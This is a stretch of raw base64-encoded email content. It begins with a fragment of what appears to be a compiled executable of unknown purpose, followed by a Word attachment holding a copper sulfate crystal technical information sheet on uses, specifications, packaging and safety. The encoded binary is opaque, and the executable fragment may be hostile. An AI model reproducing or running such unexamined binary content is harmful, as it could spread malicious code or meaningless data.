iUXI/xUAkkEAiUXMjUXgiUXcjUW4UIl10MdF1AEAAACJddj/FfyRQQBmhcB0KlaNReD/NawY QgBWVmpkamRWVmgAAM8gaOzQQQBQVv8V+JFBAIv4O/51BDPA619WV/8V9JFBAGgEAQAA6JzM AABZi8iJTfA7zol1/HQH6B8QAADrAjPAg038/6O8GEIAiXgE/zW0GEIAiw28GEIA/zW4GEIA 6MwTAACLDbwYQgDodxUAAFf/FfCRQQCLx4tN9F9kiQ0AAAAAXsnDVYvsi0UMVoP4EHRUvhMB AAA7xnQrPccEAAB2Gz3JBAAAdxT/dRSLDbwYQgD/dRBQ6ImFAADrTP91FP91EFDrFf91EIsN vBhCAOgVigAA/3UU/3UQVv91CP8VCJJBAOsliw28GEIA6AWGAAChsBhCAIXAdAdQ/xX4kEEA agD/FQSSQQAzwF5dwhAAuKB1QQDoLcsAAFFRVjP2OTXEGEIAVw+ElgAAAFZogAAAAGoEVmoB aAAAAMBoINFBAP8V6JBBAIv4g///dHRqAlZWV/8V7JBBAIP4/3RkjU3w6KLu////dRiNRfCJ dfz/dRT/dRD/ --Tbb26119XB3b0D6810Q2V9Te --Tbb26119XB3b0D6810Q2V9Te Content-Type: application/octet-stream; name=Copper Sulfate Crystal.doc Content-Transfer-Encoding: base64 Content-ID: 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAALgAAAAAA AAAAEAAAMAAAAAEAAAD+////AAAAAC0AAAD///////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// ///////////////////////////////////spcEAcQAJBAAAABK/AAAAAAAAEAAAAAAABAAA Gw8AAA4AYmpianQrdCsAAAAAAAAAAAAAAAAAAAAAAAAJBBYAZSgAABZBAQAWQQEA7goAAAAA AAAsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAD//w8A AAAAAAAAAAAAAAAAAAAAAF0AAAAAAKACAAAAAAAAoAIAAKACAAAAAAAAoAIAAAAAAACgAgAA AAAAAKACAAAAAAAAoAIAACQAAAAAAAAAAAAAAMQCAAAAAAAAxAIAAAAAAADEAgAAAAAAAMQC AABQAAAAFAMAABQAAAAoAwAANAAAAMQCAAAAAAAAOAsAAEIBAABwAwAAAAAAAHADAAAWAAAA hgMAAAAAAACGAwAAAAAAAIYDAAAAAAAAhgMAACAAAACmAwAAFAAAALoDAAAMAAAAFgkAAAIA AAAYCQAAAAAAABgJAAAAAAAAGAkAAD8AAABXCQAA1AAAACsKAADUAAAA/woAACQAAAB6DAAA 9AEAAG4OAABYAAAAIwsAABUAAAAAAAAAAAAAAAAAAAAAAAAAoAIAAAAAAADGAwAAAAAAAAAA AAAAAAAAAAAAAAAAAACGAwAAAAAAAIYDAAAAAAAAxgMAAAAAAADGAwAAAAAAACMLAAAAAAAA /gMAAAAAAACgAgAAAAAAAKACAAAAAAAAhgMAAAAAAAAAAAAAAAAAAIYDAAAAAAAAcAMAAAAA AAD+AwAAAAAAAP4DAAAAAAAA/gMAAAAAAADGAwAAFgAAAKACAAAAAAAAhgMAAAAAAACgAgAA AAAAAIYDAAAAAAAAFgkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxAIAAAAAAADEAgAAAAAAAKAC AAAAAAAAoAIAAAAAAACgAgAAAAAAAKACAAAAAAAAxgMAAAAAAAAWCQAAAAAAAP4DAAAYBQAA /gMAAAAAAAAAAAAAAAAAABYJAAAAAAAAoAIAAAAAAACgAgAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFgkAAAAAAACGAwAA AAAAAFwDAAAUAAAAgE2YUAGCvwHEAgAAAAAAAMQCAAAAAAAA3AMAACIAAAAWCQAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAU2hlZXQuIE5vLjogQ09QUEVSIFNVTEZBVEUgQ3J5 c3RhbA1SZXZpc2lvbjogMDkvMTQvOTlULTIyOQ0NDQ0NDUNPUFBFUiBTVUxGQVRFIENyeXN0 YWwgDV9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXw0NDUlOVFJPRFVDVElPTg0NQ09QUEVS IFNVTEZBVEUgQ3J5c3RhbCwgbWFudWZhY3R1cmVkIGJ5IFBoZWxwcyBEb2RnZSBSZWZpbmlu ZyBDb3Jwb3JhdGlvbiwgaXMgdXNlZCBpbiBhIHdpZGUgdmFyaWV0eSBvZiBpbmR1c3RyaWFs IGFuZCBhZ3JpY3VsdHVyYWwgYXBwbGljYXRpb25zIGJlY2F1c2Ugb2YgaXRzIGhpZ2ggcHVy aXR5LiBUeXBpY2FsIGFwcGxpY2F0aW9ucyBpbmNsdWRlOg0NlQlNZXRhbCBGaW5pc2hpbmcg LSBBcyBhIG1ldGFsIHNhbHQgaW4gYWNpZCBjb3BwZXIgcGxhdGluZyBiYXRocw0NlQlBZ3Jp Y3VsdHVyYWwgLSBBcyBhbiBpbmdyZWRpZW50IGluIEJvcmRlYXV4IHNwcmF5cyBmb3IgdXNl IGFzIGEgZnVuZ2ljaWRlDQ2VCVdhdGVyIFRyZWF0bWVudCAtIFB1cmlmaWVzIHdhdGVyIHN1 cHBsaWVzIGJ5IGNvbnRyb2xsaW5nIGFsZ2FlDQ0NU1BFQ0lGSUNBVElPTlMNB1R5cGljYWwH B0N1U080ICggNSBIMk8gLSAgIAc5OSUgTWluaW11bQcHQ29wcGVyIChDdSkgLQcyNS4yJQcH SXJvbiAoRmUpIC0HMC4wMSUHB01hZ25lc2l1bSAoTWcpIC0HPCAgMC4wMSUHB0luZXJ0IElu Z3JlZGllbnRzIC0HMSUgTWF4aW11bQcHQ2xhcml0eSAtB0NsZWFyBwcMUFJPUEVSVElFUw0N Rm9ybXVsYSAtB0N1U080ICggNSBIMk8gKE1vbGVjdWxhciBXZWlnaHQgLSAyNDkuNjkpBwdB cHBlYXJhbmNlIC0HQmx1ZSBjcnlzdGFsBwdQYXJ0aWNsZSBTaXplIC0HU21hbGwgQ3J5c3Rh bCCWIDEvMiIgZGlhbWV0ZXIgKGFwcHJveC4pDUdyYW51bGFyIENyeXN0YWwgLSAxLzQiIGRp YW1ldGVyIChhcHByb3guKQ1NYWNybyBDcnlzdGFsIC0gMS84IiBkaWFtZXRlciAoYXBwcm94 LikNRGlhbW9uZCBDcnlzdGFsIC0gMTAgbWVzaCAoYXBwcm94LikHBwcHB1BBQ0tBR0lORw0N Q09QUEVSIFNVTEZBVEUgQ3J5c3RhbCBpcyBwYWNrYWdlZCBpbiBtdWx0aS13YWxsIGJhZ3Ms IDUwIGxicyBuZXQgd2VpZ2h0LCA0MCBwZXIgcGFsbGV0Lg0NDVdBU1RFIERJU1BPU0FMDQ1U aGlzIG1hdGVyaWFsIG11c3QgYmUgZGlzcG9zZWQgb2YgaW4gYWNjb3JkYW5jZSB3aXRoIGFs bCBhcHBsaWNhYmxlIGZlZGVyYWwsIHN0YXRlLCBhbmQgbG9jYWwgcmVndWxhdGlvbnMgYW5k IHBlcm1pdHMuIENvbnN1bHQgdGhlIE1TRFMgZm9yIGFkZGl0aW9uYWwgcmVndWxhdG9yeSBp bmZvcm1hdGlvbi4gVGhlIGluZm9ybWF0aW9uIGNvbnRhaW5lZCBoZXJlaW4gaXMgZ2VuZXJh bCBpbiBuYXR1cmUgYW5kIG1heSBub3QgYXBwbHkgdG8gZWFjaCBhcHBsaWNhdGlvbi4NDQ1H RU5FUkFMIFNBRkVUWSBQUkVDQVVUSU9OUw0NV2hlbiB3b3JraW5nIHdpdGggdGhpcyBwcm9k dWN0KHMpLCBlbnN1cmUgdGhhdCBhbGwgaGVhbHRoLCBlbnZpcm9ubWVudGFsLCBhbmQgc2Fm ZXR5IHJlZ3VsYXRpb25zIGFuZCBzdGFuZGFyZHMgYXJlIG1ldC4gQXZvaWQgZGlyZWN0IGNv bnRhY3Qgd2l0aCB0aGlzIG1hdGVyaWFsLiBEbyBub3QgaW5oYWxlIGFzc29jaWF0ZWQgbWlz dCwgdmFwb3JzLCBhbmQvb3IgZHVzdC4gTWFpbnRhaW4gYW5kIGxpbWl0IGV4cG9zdXJlIGFz IHJlY29tbWVuZGVkIGJ5IE9TSEEsIEFDR0lILCBhbmQgb3RoZXIgc3RhdGUgYW5kIGxvY2Fs IHJlZ3VsYXRpb25zLiBXYXNoIGNvbnRhbWluYXRlZCBjbG90aGluZyBiZWZvcmUgcmV1c2Uu IEFsd2F5cyBjb21wbHkgd2l0aCB0aGUgSGF6YXJkIENvbW11bmljYXRpb24gU3RhbmRhcmQs IDI5IENGUiAxOTEwLjEyMDAuIEVtZXJnZW5jeSBzaG93ZXJzIGFuZCBleWV3YXNoZXMgbXVz dCBiZSByZWFkaWx5IGF2YWlsYWJsZS4NDUl0IGlzIHJlY29tbWVuZGVkIHRoYXQgdGhlIHBy b2R1Y3QocykgcmVmZXJyZWQgdG8gaW4gdGhpcyBUZWNobmljYWwgSW5mb3JtYXRpb24gU2hl ZXQgYmUgdXNlZDogKGEpIGluIGFjY29yZGFuY2Ugd2l0aCB0aGUgaW5mb3JtYXRpb24gcHJv dmlkZWQgaW4gcHJvZHVjdCBzcGVjaWZpYyBNU0RTOyBhbmQgKGIpIGluIGNvbXBsaWFuY2Ug d2l0aCBhbGwgYXBwbGljYWJsZSByZXF1aXJlbWVudHMgYW5kIGd1aWRlbGluZXMgZXN0YWJs aXNoZWQgYnkgT1NIQSwgTklPU0gsIEFDR0lILCBORlBBLCBhbmQgb3RoZXJzLg0NTk9URTog ICBBIE1hdGVyaWFsIFNhZmV0eSBEYXRhIFNoZWV0IChNU0RTKSBmb3IgdGhpcyBwcm9kdWN0 KHMpIGlzIGF2YWlsYWJsZSB1cG9uIHJlcXVlc3QgZnJvbSBBdG90ZWNoIFVTQSBJbmMuLCBD dXN0b21lciBTZXJ2aWNlL1NhbGVzIFN1cHBvcnQgR3JvdXAsIDE3NTAgT3ZlcnZpZXcgRHJp dmUsIFAuTy4gQm94IDEyMDAwLCBSb2NrIEhpbGwsIFNDIDI5NzMxLTIwMDAuDQ1SRVZJRVcg TVNEUyBCRUZPUkUgVVNJTkcgVEhJUyBDSEVNSVNUUlkgQU5EIEZPUiBTUEVDSUZJQyBJTkZP Uk1BVElPTi4gQSBwcmVjYXV0aW9uYXJ5IGFwcHJvYWNoIHNob3VsZCBiZSB1c2VkIHdoZW4g dGhlcmUgaXMgcG90ZW50aWFsIGZvciBjaGVtaWNhbCBleHBvc3VyZSAtLSB0aGlzIGluY2x1 ZGVzIG1pbmltaXppbmcgZXhwb3N1cmUgcG90ZW50aWFsLCByYXBpZCBkZWNvbnRhbWluYXRp b24sIGFuZCBtZWRpY2FsIGZvbGxvdy11cC4NDQ1URUxFUEhPTkUgTlVNQkVSUw0NR2VuZXJh bCBJbmZvcm1hdGlvbjogICg4MDMpIDgxNy0zNTAwDQ1UbyBQbGFjZSBhbiBPcmRlcjogICAg MS04MDAtUExBVElORw1DT1BQRVIgU1VMRkFURSBDcnlzdGFsCQlQQUdFIBNQQUdFIBQyFQ0N DQ0NDQ0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAEAAA6BAAAOwQAADwEAAA9BAAAQAQAAE8EAABWBAAAVwQAAFgE AACqBAAArAQAALgEAAC5BAAAugQAANAEAACFBQAAhgUAAFcGAABnBgAAaAYAAG8GAABwBgAA cQYAAHUGAAB2BgAAdwYAAHgGAAB8BgAAfQYAAJAGAACRBgAApQYAAKYGAAC4BgAAuQYAANMG AADUBgAA8wYAAPQGAAAEBwAABQcAAAYHAAAQBwAAEgcAABsHAAAcBwAAIAcAACIHAAAjBwAA JwcAACgHAABFBwAARwcAAFMHAABUBwAAYAcAAGIHAABxBwAAcgcAAAYIAAAHCAAAEAgAABUI AAD59/Pv59/X39fP+cnC+c/5z/kA+bj5APmw+aX5sPkA+QD5APkA+QD5APnJoPkA+bCl+bD5 APkA+QD5APmg+QAACE9KAgBRSgIAABUJagEAt/BCKgFDShYAT0oEAFFKBAAPQ0oWAEgqAk9K AgBRSgIAEjUIgT4qAUNKFgBPSgIAUUoCAAAMQ0oWAE9KAwBRSgMAAAs1CIFPSgIAUUoCAA81 CIFDShYAT0oCAFFKAgAPNQiBQ0oyAE9KAgBRSgIADzUIgUNKWgBPSgIAUUoCAA81CIFDSigA T0oCAFFKAgAHNQiBQ0ooAAc1CIFDShYAAzUIgQxDShYAT0oCAFFKAgA/AAQAACMEAAA7BAAA PAQAAD0EAAA+BAAAPwQAAEAEAABYBAAA4QAAAAAAAAAAAAAAAOEAAAAAAAAAAAAAAADhAAAA AAAAAAAAAAAA4QAAAAAAAAAAAAAAAMMAAAAAAAAAAAAAAACiAAAAAAAAAAAAAAAAgQAAAAAA AAAAAAAAAGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAAAD4TYAA3GLwAP2AAYA6gDeAZICRgM6A64 EYgUWBcoGvgcyB+YImglAAAAAAAAAAAAAAAAAAAAIQAAD4RaABJkeAABAA3GMgAQWgCaAioD +gXKCJoLag46EQoU2haqGXocSh8aIuokuicAAAAAAAAAAAAAAAAAAAAAIQAAD4QSABJkeAAB AA3GMgAQEgBSAuICsgWCCFILIg7yEMITkhZiGTIcAh/SIaIkcicAAAAAAAAAAAAAAAAAAAAA HgAAD4QSAA3GMgAQEgBSAuICsgWCCFILIg7yEMITkhZiGTIcAh/SIaIkcicAAAAAAAAAAAAA AAAAAAAAHgAAAyQCD4RAAg3GLwAPQAKABBAF4AewCoANUBAgE/AVwBiQG2AeMCEAJNAmAAAA AAAAAAAAAAAAAAAAAAgABAAAIwQAADsEAAA8BAAAPQQAAD4EAAA/BAAAQAQAAFgEAACqBAAA qwQAAKwEAAC5BAAAugQAAIUFAACGBQAAxwUAAMgFAAAUBgAAFQYAAFYGAABXBgAAWAYAAGcG AABoBgAAcAYAAHEGAACEBgAAkAYAAJEGAACfBgAApQYAAKYGAACyBgAAuAYAALkGAADKBgAA 0wYAANQGAADoBgAA8wYAAPQGAAD+BgAABAcAAAUHAAAGBwAAEQcAABIHAAAcBwAAIgcAACMH AABGBwAARwcAAFQHAABhBwAAYgcAAHIHAACaBwAAxQcAAO0HAAARCAAAEggAABMIAAAUCAAA FQgAAB8IAAAgCAAAeQgAAHoIAAB7CAAAiggAAIsIAACXCQAAmAkAAJkJAAC0CQAAtQkAAJgL AACZCwAAvQwAAL4MAACUDQAAlQ0AAI8OAACQDgAAkQ4AAKMOAACkDgAAyQ4AAMoOAADuDgAA Eg8AABMPAAAVDwAAFg8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPz8+fn3+fn3+fn3+fn3+fn3 +fn3+fn39QAA+fX19ff5+ff5+fn5+ff5+fcA8wAAAADxAPHx8fEA8QDx8fEA8fHx8fHx7vX1 9fEAAAUCAwAFAgINAQADAhAAAgEBAAIDAQAEAwEFCgAFAgIABQEAXlgEAACqBAAAqwQAAKwE AAC5BAAAugQAAIUFAACGBQAAxwUAAMgFAADfAAAAAAAAAAAAAAAA3wAAAAAAAAAAAAAAAMIA AAAAAAAAAAAAAACxAAAAAAAAAAAAAAAAsQAAAAAAAAAAAAAAAJ4AAAAAAAAAAAAAAACLAAAA AAAAAAAAAAAAeAAAAAAAAAAAAAAAAGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 CP7YAKgDeAZICRgM6A64EYgUWBcoGvgcyB8wIWglAAAAAAAAAAAAAAAAAAAAAAAGEAANxgcB wCEBUiYCACUDAA3GRQ5YBXgGSAkYDOgOuBGIFFgXKBr4HMgf1iCYImglDdACoAVwCEALEA7g ELATgBZQGSAc8B7AIZAkAAAAAAAAAAAAAAAAAAABAAAADRYPAAAXDwAAGA8AABkPAAAaDwAA Gw8AAP7+/Pz5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUCAwAFAgIB AQACDQEFMgAJMAASMAAmUAEAHFABAB+w0C8gsOA9IbCgBSKwKgMjkIgCJJA4BCWwAAAXsIgC GLA4BC8AEjAAJlABABxQAQAfsNAvILDgPSGwoAUisN4DI5CIAiSQOAQlsAAAF7CIAhiwOAQA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASABMACgABAFsADwACAAAAAAAAADQA AEDx/wIANAAAAAYATgBvAHIAbQBhAGwAAAAFAAAAMSQAAA8AQ0oYAGgIAG1ICQRuSAkEAFoA 